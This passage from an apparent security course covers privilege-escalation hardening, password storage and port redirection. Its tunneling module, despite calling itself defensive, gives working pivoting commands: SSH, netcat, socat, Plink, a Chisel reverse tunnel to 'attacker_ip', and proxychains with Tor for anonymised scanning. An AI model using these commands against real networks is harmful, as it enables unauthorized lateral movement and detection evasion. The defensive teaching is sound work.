| Remove users from adm group | gpasswd -d username adm | getent group adm |
| Audit sudo/wheel group | Quarterly review of privileged group members | getent group sudo; getent group wheel |
🔍 Monitoring & Detection – Privilege Escalation Indicators
| Event ID | Description | Indicator |
|---|---|---|
| 4672 | Special privileges assigned to new logon | SeDebugPrivilege, SeImpersonatePrivilege |
| 4688 | Process creation | cmd.exe, powershell.exe spawned from Office/PDF |
| 7045 | New service installed | Service created by non-admin user |
| 4657 | Registry modification | Autorun keys modified by user |
| 4104 | PowerShell script block | WinPEAS, PowerUp, Invoke-Expression |
| 5156 | Windows Filtering Platform connection | Outbound to suspicious IPs |
| Log Source | Description | Indicator |
|---|---|---|
| auth.log | Authentication events | sudo failures, user additions to sudo group |
| auditd | System call auditing | setuid/setgid syscalls from non-root users |
| syslog | System events | Cron job modifications, new SUID binaries |
| osquery | Endpoint visibility | Processes running as root with parent from user |
| audit.rules | Monitor SUID/SGID execution | -a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -F auid!=-1 |
-a always,exit -S setuid -S setgid -F auid>=1000 -k priv_esc
- Privileged container detection
- LSASS process access (non-SYSTEM)
- Unquoted service path creation
- Schtask registration by user
- Docker group command execution
- SUID binary drops
- Kernel module loading
- Cron file modifications
- Process parent-child anomalies
- Unexpected privilege elevation
- System file modifications
- Writable directory execution
📦 Patch Management – Closing Known Exploit Vectors
| Vulnerability | Affected Systems | Patch/Remediation | Defensive Priority |
|---|---|---|---|
| PrintNightmare (CVE-2021-34527) | Windows Server 2016-2022, Windows 10-11 | KB5004945+ or Disable Print Spooler | CRITICAL |
| Zerologon (CVE-2020-1472) | Windows Server 2008-2019 Domain Controllers | KB4565349+ and enforce secure RPC | CRITICAL |
| PwnKit (CVE-2021-4034) | All Linux distributions with pkexec | Update policykit-1 package | CRITICAL |
| Dirty Pipe (CVE-2022-0847) | Linux kernel 5.8+ | Update kernel | CRITICAL |
| NoPac (CVE-2021-42278/42287) | Windows Server DCs | November 2021 patches | CRITICAL |
🐳 Container & Cloud Privilege Escalation Defense
- No privileged containers: Avoid --privileged flag
- Drop all capabilities: --cap-drop=ALL, add only required
- Read-only root filesystem: --read-only flag
- No new privileges: --security-opt=no-new-privileges:true
- User namespace remapping: --userns=remap
- AppArmor/SELinux: Enforce container profiles
- IAM least privilege: No wildcard (*) permissions
- Service accounts: Use dedicated, scoped service accounts
- Metadata service: Block IMDSv1, enforce v2
- VPC isolation: No public instances
- Cloud Audit Logs: Enable and monitor privilege elevation
🌍 Real-World Defensive Scenarios
Initial State: Web application service runs as SYSTEM. Vulnerability in web app allows RCE.
Outcome without defense: Attacker executes commands as SYSTEM, installs backdoor, dumps LSASS, compromises entire server.
Defensive implementation:
- Change service to run as Network Service or virtual account
- Remove SeImpersonatePrivilege from service account
- Apply AppLocker to prevent unauthorized binaries
Result: Attacker has limited privileges, cannot escalate to SYSTEM, incident contained.
Initial State: "Vulnerable Service" has path: C:\Program Files\Vendor App\service.exe (no quotes)
Risk: User with write access to C:\Program Files\ can drop malicious executable named "Vendor.exe"
Defensive implementation:
- Quote the service path:
sc config VulnService binPath= "\"C:\Program Files\Vendor App\service.exe\"" - Restrict write permissions on C:\Program Files
- Run WinPEAS/PowerUp weekly to detect regressions
Result: Attack vector eliminated. No binary hijacking possible.
Initial State: Developer added to docker group for "convenience" 2 years ago. Developer changed teams but group membership never removed.
Risk: Developer account compromise = root access to entire host
Defensive implementation:
- Quarterly group membership audit script
- Remove user from docker group:
gpasswd -d username docker - Implement sudo rules for Docker management instead
Result: Privilege creep eliminated. Developer has no unnecessary root access.
🤖 Defensive Automation – Privilege Escalation Hardening Scripts
# Windows PrivEsc Defense Script
# Run as Administrator
# 1. Fix AlwaysInstallElevated
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -Value 0
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -Value 0
# 2. Remove users from docker group (if exists)
try { Remove-LocalGroupMember -Group "docker" -Member "username" } catch {}
# 3. Audit and fix unquoted service paths
Get-WmiObject win32_service | Where-Object {$_.PathName -match '^[^"].+ .+'} | ForEach-Object {
$newPath = '"' + $_.PathName + '"'
sc.exe config $_.Name binPath= $newPath
}
# 4. Disable PowerShell v2
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 -NoRestart
Write-Host "✅ Windows privilege escalation hardening applied" -ForegroundColor Green
#!/bin/bash
# Linux PrivEsc Defense Script
# Run as root
# 1. Remove unnecessary SUID
find / -perm -4000 -type f ! -path "/usr/bin/sudo" \
! -path "/usr/bin/passwd" \
! -path "/usr/bin/su" \
! -path "/usr/bin/mount" \
! -path "/usr/bin/umount" 2>/dev/null | xargs chmod u-s
# 2. Secure cron permissions
chmod 700 /etc/crontab
chmod 700 /etc/cron.d
chmod 700 /etc/cron.daily
chmod 700 /etc/cron.hourly
chmod 700 /etc/cron.weekly
chmod 700 /etc/cron.monthly
# 3. Remove users from dangerous groups
gpasswd -d username docker 2>/dev/null
gpasswd -d username disk 2>/dev/null
gpasswd -d username adm 2>/dev/null
# 4. Set secure PATH in cron
echo "PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin" >> /etc/crontab
echo "✅ Linux privilege escalation hardening applied"
✅ Defense Against Privilege Escalation – Complete Summary
🛡️ Prevent:
- Least privilege for users & services
- Patch management (48-72 hours)
- Secure configurations (CIS/STIG)
- Remove unnecessary SUID/SGID
- Fix unquoted service paths
- Disable AlwaysInstallElevated
🔍 Detect:
- Event ID 4672, 4688, 7045 (Windows)
- auditd setuid/setgid syscalls (Linux)
- PowerShell script block logging
- Service installation monitoring
- New SUID binary alerts
⚡ Respond:
- Automated isolation playbooks
- Credential rotation
- Forensic collection
- Reimage compromised hosts
- Root cause analysis
- Level 1 (Reactive): No systematic defense. Patching is delayed. User have admin rights.
- Level 2 (Baseline): Standard users, monthly patching, basic audit of admins.
- Level 3 (Proactive): LAPS, Credential Guard, SUID audits, weekly scanning.
- Level 4 (Advanced): Automated remediation, EDR with privilege escalation detection, red team exercises.
• CIS Windows Benchmarks
• CIS Linux Benchmarks
• Microsoft LAPS Documentation
• Docker Security Best Practices
• Ubuntu Livepatch
Module 22 – Passwords & Authentication (Ultra-Level Detailed & Defensive)
Passwords remain a primary authentication method and a frequent weak link in security. This module explains why passwords fail, how they are safely stored, modern authentication alternatives (MFA, passkeys), detection & defensive controls, and practical hardening guidance — all from a defensive, non-offensive perspective.
This module is strictly educational and defensive. It focuses on hardening, detection, and remediation. It does not provide steps for attacking, cracking, or abusing authentication systems.
22.1 Why Passwords Fail
Password-related incidents are common because of human, design, and implementation weaknesses. Recognizing the root causes helps build better controls.
🔍 Common Causes
- 📎 Reused passwords across sites and services
- 🗝️ Weak password composition (short, predictable, dictionary words)
- 🔐 Poor storage (plaintext or weak hashes)
- 📮 Insecure recovery flows (weak "forgot password" mechanisms)
- 🤖 Automated attacks (credential stuffing against reused creds)
- 🔑 Poor key management for password-related secrets
22.2 Password Storage Concepts (Safe & Correct)
How you store authentication secrets determines how resilient you are to breaches. Never store plaintext.
🔐 Defensive Storage Principles
- ✔ Never store passwords in plaintext
- ✔ Use salted, slow, memory-hard hashing algorithms
- ✔ Separate password hashes from other application data and secure backups
- ✔ Use a pepper (server-side secret) where appropriate — treat it like a key
- ✔ Rotate and revoke credentials when compromise is suspected
22.3 Hashing, Salting, and Key Stretching (Concepts — Safe)
Hashing transforms a password into a fixed-length value. Strong defenders add salt and slow the hash to reduce attack effectiveness.
🧩 Key Concepts
- Hash: One-way transform (e.g., SHA family) — not sufficient alone for passwords.
- Salt: Unique per-password random value that prevents precomputed attacks (rainbow tables).
- Stretching / Work Factor: Make hashing deliberately slow to increase cost of guessing.
- Memory-hard functions: Require RAM to compute (slows specialized hardware).
- Pepper: An additional secret stored separately (e.g., in HSM) to protect all hashes if DB is leaked.
✅ Recommended Algorithms (Defensive)
- Argon2id — currently recommended for new deployments (memory-hard, tunable).
- bcrypt — longstanding, tunable cost; widely supported.
- scrypt — memory-hard, suitable but less commonly used than Argon2 today.
- PBKDF2 — acceptable when configured with high iteration counts and combined with other controls.
22.4 Authentication Flows & Recovery — Secure Design
Secure authentication is more than passwords — recovery flows, session handling, and token lifetimes are critical.
🔑 Secure Login & Session Practices
- ✔ Use short-lived session tokens and secure cookies (HttpOnly, Secure, SameSite)
- ✔ Implement account lockouts or progressive throttling on repeated failures
- ✔ Log authentication events centrally with user, IP, device info
- ✔ Invalidate sessions on password changes and suspicious events
🛠️ Secure "Forgot Password" Patterns
- ✔ Use single-use, time-limited reset tokens (store hashed tokens server-side)
- ✔ Send reset links to pre-verified contact points only
- ✔ Avoid exposing whether an account exists (careful with messaging)
- ✔ Throttle reset requests and monitor for abuse
Module 23 – Port Redirection & Tunneling (Ultra-Level Detailed & Defensive)
Port redirection and tunneling are powerful network techniques used for legitimate purposes (remote administration, secure access, NAT traversal, and troubleshooting) but also abused by attackers for covert channels and data exfiltration. This module provides an ultra-detailed, defensive exploration: core concepts, types of tunnels and proxies, how tunneling is used legitimately and maliciously, detection & logging guidance, forensic artefacts, risk models, enterprise controls, and safe lab exercises.
The content is strictly defensive and educational. It explains concepts, detection, and mitigation. It does not provide step-by-step instructions for creating covert tunnels or evading detection.
23.1 What is Port Redirection?
Port Redirection is a networking technique that allows traffic sent to one port or system to be forwarded to another destination. Instead of accessing a service directly, the connection passes through an intermediate host.
In simple words, port redirection means using one machine as a middleman to reach services that are normally blocked, hidden, or restricted.
Port redirection is widely used in penetration testing, especially after gaining initial access, to reach internal services and perform deeper assessments.
🔍 Why is Port Redirection Important?
- 🔐 Access internal services not exposed to the internet
- 🧱 Bypass firewall and network segmentation restrictions
- 🔄 Enable pivoting inside compromised networks
- 🧪 Test internal applications securely
- ⚙ Form the foundation of tunneling techniques
A web admin panel runs on an internal server and is not accessible externally. By redirecting ports through a compromised machine, the service becomes reachable for testing.
🧠 How Does Port Redirection Work?
Port redirection works by listening on one port and forwarding incoming traffic to another system or port.
To the user, it appears as if the service exists on the redirecting machine, even though it is actually hosted elsewhere.
Client → Redirecting Host → Internal Service
🌍 Real-World Analogy
Think of port redirection like a security desk in an office. Visitors cannot enter restricted rooms, but the desk forwards their requests to people inside.
🧩 Common Use Cases
- 📡 Accessing internal web dashboards
- 🗄 Connecting to databases inside private networks
- 🖥 Managing servers behind NAT or firewalls
- 🚀 Pivoting from one compromised system to another
- 🧪 Testing services during internal penetration tests
🔄 Port Redirection vs Direct Connection
| Aspect | Direct Connection | Port Redirection |
|---|---|---|
| Access Method | Directly to service | Via intermediate host |
| Firewall Restrictions | Often blocked | Uses allowed paths |
| Pivoting Support | No | Yes |
| Use in Pentesting | Limited | Very common |
📂 Types of Port Redirection
Port redirection can be classified based on how traffic is forwarded:
- Local Port Redirection: Forwards traffic from a local port to a remote service
- Remote Port Redirection: Forwards traffic from a remote system back to the attacker
- Dynamic Port Redirection: Acts as a proxy, forwarding traffic dynamically
Dynamic port redirection is commonly used in proxy-based tunneling tools.
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Port redirection expands access to internal resources while avoiding direct exposure.
Defender View: Redirection can hide attacks by making malicious traffic appear internal and trusted.
📍 Where Port Redirection Fits in a Pentest
- Initial system compromise
- Internal network discovery
- Port redirection setup
- Access to internal services
- Lateral movement
Port redirection must only be performed on systems you own or have explicit written authorization to test.
Port redirection allows security testers to safely reach restricted services and understand real-world attack paths.
23.2 Tunneling Concepts & Use Cases
Tunneling is a networking technique that allows one type of network traffic to be carried inside another protocol. This makes the original traffic appear as something else while it travels across a network.
In simple words, tunneling means hiding one connection inside another trusted connection so that data can pass through firewalls, filters, or restricted network paths.
In penetration testing, tunneling is commonly used to bypass network restrictions, access internal services, and maintain communication with compromised systems.
🔍 Why is Tunneling Important?
- 🧱 Bypasses firewalls and network restrictions
- 🔐 Allows access to internal-only services
- 🔄 Enables pivoting across network segments
- 📡 Maintains stable communication channels
- 🛠 Supports advanced post-exploitation activities
If a firewall blocks most ports but allows SSH or HTTPS, attackers can tunnel other traffic through those allowed protocols.
🧠 How Does Tunneling Work?
Tunneling works by encapsulating data from one protocol inside another protocol that is allowed to pass through the network.
The outer protocol carries the hidden traffic safely to the destination, where it is unpacked and delivered to the intended service.
Original Traffic → Encapsulation → Allowed Protocol → Network → Decapsulation
🌍 Simple Real-World Analogy
Imagine sending a letter inside a sealed envelope marked as “official mail”. Security allows the envelope through, unaware of the message inside. That is how tunneling works.
🧩 Common Tunneling Protocols
- SSH: Tunnels traffic securely over port 22
- HTTPS: Hides traffic inside encrypted web sessions
- SOCKS: Dynamic tunneling through proxy services
- ICMP: Rarely used, hides data in ping traffic
- DNS: Sends data inside DNS queries and responses
Some tunneling methods are slow and noisy, but still effective in highly restricted networks.
🔄 Tunneling vs Port Redirection
| Aspect | Port Redirection | Tunneling |
|---|---|---|
| Main Purpose | Forward traffic | Hide traffic inside another protocol |
| Complexity | Simple | More advanced |
| Firewall Evasion | Limited | Very effective |
| Encryption | Optional | Usually encrypted |
📂 Types of Tunneling
- Local Tunneling: Access internal services locally
- Remote Tunneling: Expose internal services externally
- Dynamic Tunneling: Acts as a SOCKS proxy
🧪 Real-World Use Cases
- 🔐 Accessing internal admin panels
- 🗄 Connecting to private databases
- 🖥 Managing internal servers securely
- 🚀 Pivoting across segmented networks
- 📡 Maintaining covert communication channels
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Tunneling allows hidden access to internal systems using trusted protocols.
Defender View: Tunneling can hide malicious activity inside normal-looking encrypted traffic.
📍 Where Tunneling Fits in a Pentest
- Initial compromise
- Restricted network discovered
- Tunnel established
- Internal services accessed
- Lateral movement performed
Tunneling techniques must only be used in authorized penetration tests or lab environments.
Tunneling hides restricted traffic inside trusted connections, making deep network access possible during penetration testing.
23.3 Network Layers & Protocols
Network Layers and Protocols define how data is created, transmitted, routed, and received across networks. Understanding these layers is essential for mastering port redirection, tunneling, and pivoting.
In simple words, network layers explain who does what when data travels from one system to another — from applications down to physical cables and back again.
In penetration testing, attackers and defenders rely on layer knowledge to understand where traffic can be redirected, hidden, or blocked.
🧱 Why Network Layers Matter in Tunneling
- 📡 Firewalls inspect specific layers, not all traffic
- 🔐 Encryption happens at certain layers only
- 🧱 Some layers are filtered, others are trusted
- 🔄 Tunneling works by abusing trusted layers
- 🧠 Protocol awareness enables stealthy pivoting
Most tunneling techniques work because security controls focus on higher layers and trust lower or encrypted ones.
📚 The OSI Model (7 Layers)
The OSI (Open Systems Interconnection) model divides networking into seven logical layers.
| Layer | Name | Purpose | Pentesting Relevance |
|---|---|---|---|
| 7 | Application | User-facing services | Web apps, SSH, DNS tunneling |
| 6 | Presentation | Encryption & encoding | SSL/TLS encryption hiding traffic |
| 5 | Session | Session management | Persistent tunnels & sessions |
| 4 | Transport | Ports & reliability | TCP tunnels, port redirection |
| 3 | Network | IP addressing & routing | Pivoting across networks |
| 2 | Data Link | MAC addressing | ARP abuse, local pivoting |
| 1 | Physical | Cables & signals | Out of scope for tunneling |
🌐 TCP/IP Model (Practical View)
In real networks, the TCP/IP model is used instead of the OSI model. It has four layers.
| TCP/IP Layer | Includes | Examples |
|---|---|---|
| Application | OSI 5–7 | HTTP, HTTPS, SSH, DNS |
| Transport | OSI 4 | TCP, UDP |
| Internet | OSI 3 | IP, ICMP |
| Network Access | OSI 1–2 | Ethernet, ARP |
🔌 Key Protocols Used in Tunneling
- TCP: Reliable, connection-based (most tunnels)
- UDP: Fast, connectionless (limited tunneling)
- SSH: Encrypted application-layer tunneling
- HTTPS: Encrypted web-layer tunneling
- DNS: Data hidden in name lookups
- ICMP: Rare tunneling via ping traffic
Encrypted protocols like SSH and HTTPS are commonly allowed through firewalls, making them ideal for tunneling.
🔄 How Layers Enable Tunneling
Tunneling works by placing one protocol inside another. For example, application-layer data can be hidden inside encrypted transport-layer traffic.
Application Data
↓
SSH / HTTPS Encryption
↓
TCP Transport
↓
IP Routing
↓
Network
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Understanding layers allows attackers to choose protocols that are trusted and rarely inspected.
Defender View: Security teams must monitor behavior across multiple layers, not just ports.
📍 Where Network Layers Fit in a Pentest
- Identify allowed protocols
- Determine filtered layers
- Select tunneling method
- Encapsulate traffic
- Maintain access & pivot
Network layers explain how and where traffic can be redirected, hidden, or blocked — making them the foundation of tunneling techniques.
23.4 Proxychains – Proxy Chaining Tool
Proxychains is a command-line tool that forces network connections from other tools to pass through one or more proxy servers instead of connecting directly to the target.
In simple words, Proxychains allows you to control the path of your network traffic. Any tool run through Proxychains will send its traffic via configured proxies, hiding the original source and enabling access to restricted networks.
Proxychains is widely used in penetration testing for anonymity, pivoting, tunneling, and firewall bypassing. It does not exploit vulnerabilities itself, but supports other tools by redirecting their traffic.
🔍 Why Proxychains is Important
- 🧱 Bypasses firewall and network restrictions
- 🔐 Hides the attacker’s real IP address
- 🔄 Enables pivoting through compromised hosts
- 📡 Routes traffic through Tor or internal proxies
- 🛠 Works with many pentesting tools
If direct access to an internal server is blocked, Proxychains can route traffic through a compromised system or Tor network to reach it.
🧠 How Proxychains Works
Proxychains works by intercepting system network calls and redirecting them through a list of configured proxy servers.
Instead of a tool connecting directly to a target, the connection flows through one or more proxies in sequence, known as a proxy chain.
Tool → Proxychains → Proxy 1 → Proxy 2 → Target
Each proxy forwards the request to the next one, making the traffic harder to trace and enabling access to otherwise unreachable systems.
⚙ Proxychains Configuration File
Proxychains uses a configuration file to define proxy behavior:
/etc/proxychains.conf
/etc/proxychains4.conf
This file controls how proxies are chained, which proxy types are used, and how DNS requests are handled.
🔄 Proxy Chain Modes
Only one chaining mode should be enabled at a time.
- strict_chain: Uses proxies in the exact order listed. If one proxy fails, the connection fails.
- dynamic_chain: Skips unavailable proxies and uses the rest. Most commonly used.
- random_chain: Randomly selects proxies for each connection. More anonymous but less stable.
dynamic_chain offers the best balance of reliability and stealth.
🌐 Supported Proxy Types
- SOCKS5 – Most common and flexible
- SOCKS4
- HTTP
Example proxy entry:
socks5 127.0.0.1 9050
🧪 Using Proxychains with Tools
Proxychains is used by simply prefixing it before a command:
proxychains <tool> <arguments>
🔹 Nmap
proxychains nmap -sT -Pn target
Only TCP connect scans work because Proxychains does not support raw packet scans.
🔹 Web Enumeration
proxychains gobuster dir -u http://target -w wordlist.txt
🔹 SMB Access
proxychains smbclient //target/share
🔹 Metasploit
proxychains msfconsole
🧩 Proxychains and Tor
Proxychains is often combined with Tor to anonymize traffic. Tor listens locally and forwards traffic through multiple nodes across the internet.
This setup allows tools to appear as if they originate from random global locations.
🚧 Limitations of Proxychains
- ❌ Does not support UDP traffic
- ❌ Slower than direct connections
- ❌ Some tools may not fully respect proxy settings
- ❌ ICMP-based scans will fail
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Proxychains enables stealthy access, pivoting, and traffic obfuscation using trusted paths.
Defender View: Proxychains traffic may appear as Tor or proxy traffic and can be detected via unusual routing patterns.
📍 Where Proxychains Fits in a Pentest
- Initial compromise
- Restricted network discovered
- Proxychains configured
- Traffic tunneled through proxies
- Lateral movement performed
Proxychains must only be used on systems you own or have explicit authorization to test.
Proxychains controls how tools communicate over the network, making it a powerful helper for tunneling, anonymity, and pivoting.
23.5 SSH Tunneling (Local / Remote / Dynamic)
SSH Tunneling is a technique that allows network traffic to be securely forwarded through an encrypted SSH connection. It is one of the most reliable and widely used tunneling methods in penetration testing and system administration.
In simple words, SSH tunneling means using an SSH connection as a secure pipe to carry other network traffic through it, even when direct access is blocked.
SSH tunneling is commonly used for firewall bypassing, accessing internal services, and pivoting inside restricted networks.
🔍 Why SSH Tunneling is Important
- 🔐 Encrypts all tunneled traffic
- 🧱 Bypasses firewall restrictions using allowed SSH ports
- 🔄 Enables access to internal-only services
- 🚀 Supports lateral movement and pivoting
- 🛠 Built into most Linux and Unix systems
A database server is accessible only inside the network. SSH tunneling allows secure access to it via a compromised host.
🧠 How SSH Tunneling Works
SSH tunneling works by encapsulating other network traffic inside an encrypted SSH session. The SSH server forwards the traffic to the final destination and sends responses back through the same tunnel.
Client → SSH Tunnel (Encrypted) → Internal Service
📂 Types of SSH Tunneling
SSH supports three main tunneling modes, each used for different scenarios.
🔹 Local Port Forwarding
Local tunneling forwards traffic from a local port on the attacker’s machine to a remote internal service.
This is commonly used to access internal web apps, databases, or admin panels.
ssh -L 8080:internal_host:80 user@ssh_server
This command forwards local port 8080 to internal_host:80 through the SSH server.
🔹 Remote Port Forwarding
Remote tunneling allows a remote system to access a service running on the attacker’s local machine.
It is useful when the attacker cannot connect directly to the target, but the target can initiate outbound connections.
ssh -R 9000:localhost:22 user@ssh_server
This exposes the attacker’s local SSH service on port 9000 of the remote SSH server.
🔹 Dynamic Port Forwarding
Dynamic tunneling creates a SOCKS proxy that can forward traffic to multiple destinations dynamically.
This mode is often used with tools like web browsers or Proxychains.
ssh -D 1080 user@ssh_server
This creates a SOCKS proxy on local port 1080.
Dynamic tunneling is the most flexible form of SSH tunneling.
🔄 Comparison of SSH Tunneling Types
| Type | Direction | Use Case |
|---|---|---|
| Local | Local → Remote | Access internal services |
| Remote | Remote → Local | Expose local services |
| Dynamic | Multiple | Proxy-based tunneling |
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: SSH tunneling provides encrypted, stealthy access using trusted ports.
Defender View: Tunnels can hide malicious activity inside legitimate SSH sessions.
📍 Where SSH Tunneling Fits in a Pentest
- Initial access obtained
- Firewall restrictions identified
- SSH tunnel established
- Internal services accessed
- Lateral movement performed
SSH tunneling must only be used on systems you own or have explicit written authorization to test.
SSH tunneling securely carries restricted traffic through trusted connections, making it a core technique for pivoting and tunneling.
23.6 Netcat & Socat for Port Redirection
Netcat and Socat are powerful networking tools used to read, write, and redirect data across network connections. In penetration testing, they are commonly used for port redirection, pivoting, and data forwarding.
In simple words, these tools act as network connectors that link one port or service to another, allowing traffic to flow through systems that would normally be inaccessible.
While Netcat is simple and lightweight, Socat is more advanced and flexible, making both useful in different redirection scenarios.
🔍 Why Netcat & Socat Are Important
- 🔄 Redirect traffic between different ports
- 🧱 Bypass network restrictions
- 🚀 Enable pivoting through compromised systems
- 🛠 Built into many Linux environments
- ⚙ Useful for quick and temporary tunnels
A service is reachable only inside a network. Netcat or Socat can forward traffic from an exposed port to the internal service.
🧠 Understanding Port Redirection
Port redirection forwards traffic arriving on one port to another port or host. The redirection tool acts as a middle relay.
Client → Redirecting Host → Internal Service
🔹 Netcat (nc)
Netcat is often called the "Swiss Army Knife" of networking. It creates raw TCP or UDP connections and can listen or send data.
📌 Basic Netcat Listener
nc -lvnp 8080
Listens on port 8080 for incoming connections.
📌 Simple Port Forwarding with Netcat
nc -lvnp 9000 -c "nc internal_host 80"
Redirects traffic from port 9000 to internal_host:80.
Netcat has limited stability and lacks encryption.
🔹 Socat
Socat (SOcket CAT) is an advanced version of Netcat that supports encryption, authentication, and complex forwarding.
Socat can connect almost any two endpoints: TCP, UDP, files, pipes, and even SSL connections.
📌 Basic Port Forwarding with Socat
socat TCP-LISTEN:9000,fork TCP:internal_host:80
Forwards incoming connections on port 9000 to internal_host:80.
📌 Encrypted Redirection
socat TCP-LISTEN:443,fork SSL:internal_host:8443
Redirects traffic securely using SSL encryption.
Socat supports encryption, making it safer than Netcat.
🔄 Netcat vs Socat
| Feature | Netcat | Socat |
|---|---|---|
| Ease of Use | Very simple | Moderate |
| Encryption | No | Yes |
| Protocol Support | Limited | Extensive |
| Stability | Basic | High |
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: Netcat and Socat allow fast port redirection without installing heavy tools.
Defender View: Unexpected listeners or forwarded ports may indicate pivoting or tunneling activity.
📍 Where These Tools Fit in a Pentest
- Initial compromise
- Discovery of internal services
- Port redirection setup
- Access restricted services
- Lateral movement
Use Netcat and Socat only on systems you own or have explicit permission to test.
Netcat and Socat act as flexible bridges that redirect traffic, enabling pivoting and access to hidden services.
23.7 Plink & Chisel (Windows / Linux)
Plink and Chisel are tunneling tools used for port forwarding, pivoting, and bypassing network restrictions across Windows and Linux systems.
In simple words, these tools help attackers and administrators create tunnels through restricted networks, especially when SSH or direct access is limited.
Plink is SSH-based and commonly used on Windows, while Chisel is a modern, lightweight tunneling tool designed for fast and flexible pivoting.
🔍 Why Plink & Chisel Are Important
- 🪟 Enable tunneling from Windows systems
- 🔐 Support encrypted communication
- 🧱 Bypass firewall and proxy restrictions
- 🔄 Enable lateral movement and pivoting
- ⚡ Lightweight and easy to deploy
A compromised Windows machine has outbound access only. Plink or Chisel can create tunnels back to the attacker.
🔹 Plink (PuTTY Link)
Plink is a command-line version of PuTTY that provides SSH connectivity from Windows systems. It is widely used for SSH tunneling and port forwarding.
Plink is especially useful when SSH clients are not installed on Windows targets.
📌 Local Port Forwarding with Plink
plink.exe -L 8080:internal_host:80 user@ssh_server
This forwards local port 8080 to internal_host:80 through the SSH server.
📌 Remote Port Forwarding with Plink
plink.exe -R 9000:localhost:22 user@ssh_server
This exposes the local SSH service to the remote server on port 9000.
Plink requires valid SSH credentials and depends on SSH access.
🔹 Chisel
Chisel is a fast, single-binary tunneling tool written in Go. It creates tunnels over HTTP/HTTPS, making it highly effective in restricted environments.
Chisel works using a client-server model, where the server listens for incoming connections and clients establish tunnels.
📌 Starting a Chisel Server
chisel server -p 8000 --reverse
Starts a server listening on port 8000 with reverse tunneling enabled.
📌 Reverse Port Forwarding with Chisel
chisel client attacker_ip:8000 R:9000:internal_host:80
This exposes internal_host:80 on port 9000 of the attacker machine.
Chisel tunnels traffic over HTTP/HTTPS, which is often allowed through firewalls.
🔄 Plink vs Chisel
| Feature | Plink | Chisel |
|---|---|---|
| Protocol | SSH | HTTP/HTTPS |
| Platform | Windows | Windows / Linux |
| Encryption | Yes | Yes |
| Firewall Bypass | Limited | High |
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: These tools allow stealthy pivoting from Windows and restricted environments.
Defender View: Unexpected SSH or HTTP tunnels may indicate lateral movement or exfiltration attempts.
📍 Where These Tools Fit in a Pentest
- Compromise a Windows or Linux host
- Outbound-only connectivity identified
- Plink or Chisel deployed
- Ports redirected or services exposed
- Lateral movement performed
Plink and Chisel must only be used on systems you own or have explicit authorization to test.
Plink and Chisel create secure tunnels across restricted networks, enabling pivoting from both Windows and Linux systems.
23.8 Ngrok & Cloudflare Tunnels
Ngrok and Cloudflare Tunnels are modern tunneling solutions that expose local or internal services to the internet through secure, outbound-only connections.
In simple words, these tools allow you to make a private service accessible from anywhere without opening firewall ports or configuring NAT rules.
They are widely used in development, remote access, and penetration testing for port redirection, pivoting, and temporary exposure of services.
🔍 Why Ngrok & Cloudflare Tunnels Are Important
- 🌍 Expose internal services to the public internet
- 🧱 Bypass NAT, firewall, and ISP restrictions
- 🔐 Use encrypted, outbound-only connections
- ⚡ Quick setup with minimal configuration
- 🛠 Useful for testing, demos, and pivoting
A web server is running locally but inaccessible externally. Ngrok or Cloudflare Tunnel can provide a public URL instantly.
🔹 Ngrok
Ngrok creates a secure tunnel between a public endpoint and a local service. It assigns a temporary public URL that forwards traffic to the local machine.
Ngrok is commonly used for web testing, webhook development, and short-term remote access.
📌 Exposing a Local Web Server
ngrok http 8080
This exposes a local service running on port 8080 through a public HTTPS URL.
Free Ngrok URLs are temporary and change on restart.
🔹 Cloudflare Tunnels
Cloudflare Tunnel (formerly Argo Tunnel) allows services to be exposed securely through the Cloudflare network without opening inbound firewall ports.
It works by running a lightweight agent that establishes an outbound encrypted tunnel to Cloudflare.
📌 Starting a Cloudflare Tunnel
cloudflared tunnel run mytunnel
This command connects the local service to Cloudflare and makes it accessible via a configured domain or subdomain.
Cloudflare Tunnels provide better stability and custom domains compared to free Ngrok.
🔄 Ngrok vs Cloudflare Tunnels
| Feature | Ngrok | Cloudflare Tunnel |
|---|---|---|
| Setup Speed | Very fast | Moderate |
| Custom Domain | Paid plans | Supported |
| Stability | Medium | High |
| Use Case | Testing & demos | Long-term exposure |
⚔ Attacker vs 🛡 Defender Perspective
Attacker View: These tunnels enable access to internal services without modifying firewall rules.
Defender View: Unexpected outbound tunnels to cloud services may indicate data exfiltration or unauthorized exposure.
📍 Where These Tools Fit in a Pentest
- Internal service identified
- Inbound access blocked
- Ngrok or Cloudflare Tunnel established
- Service exposed externally
- Further testing or exploitation
Exposing internal services publicly must only be done with explicit authorization.
Ngrok and Cloudflare Tunnels safely expose internal services using outbound connections, making them powerful tools for port redirection and remote access.
23.9 Monitoring for Suspicious Tunnels
Monitoring for suspicious tunnels involves detecting unauthorized or abnormal port redirection, proxy usage, and encrypted tunnels that may indicate data exfiltration, lateral movement, or persistent attacker access.
In simple words, this process focuses on spotting hidden communication channels that attackers use to bypass security controls and move data in or out of a network.
Since tunneling tools often use legitimate protocols like SSH, HTTPS, or DNS, detection relies more on behavior analysis than simple port blocking.
🔍 Why Monitoring Tunnels Is Critical
- 🚨 Detects covert data exfiltration
- 🔄 Identifies lateral movement and pivoting
- 🧱 Prevents firewall and proxy abuse
- 🔐 Reveals misuse of trusted protocols
- 🛡 Improves incident response speed
Most malicious tunnels look legitimate at first glance. Detection requires context and correlation.
📡 Common Indicators of Suspicious Tunneling
- Unusual long-lived SSH or HTTPS connections
- High-volume encrypted traffic to unknown hosts
- Repeated DNS queries with abnormal patterns
- Unexpected outbound connections from servers
- Traffic to known tunneling or cloud relay services
🔐 Monitoring Encrypted Traffic
Encrypted tunnels hide content but not behavior. Security teams should monitor:
- Connection duration and frequency
- Data volume mismatched with service purpose
- Unusual destination countries or networks
- Non-standard ports used for encrypted traffic
A workstation maintaining a 12-hour SSH session to an external IP is highly suspicious.
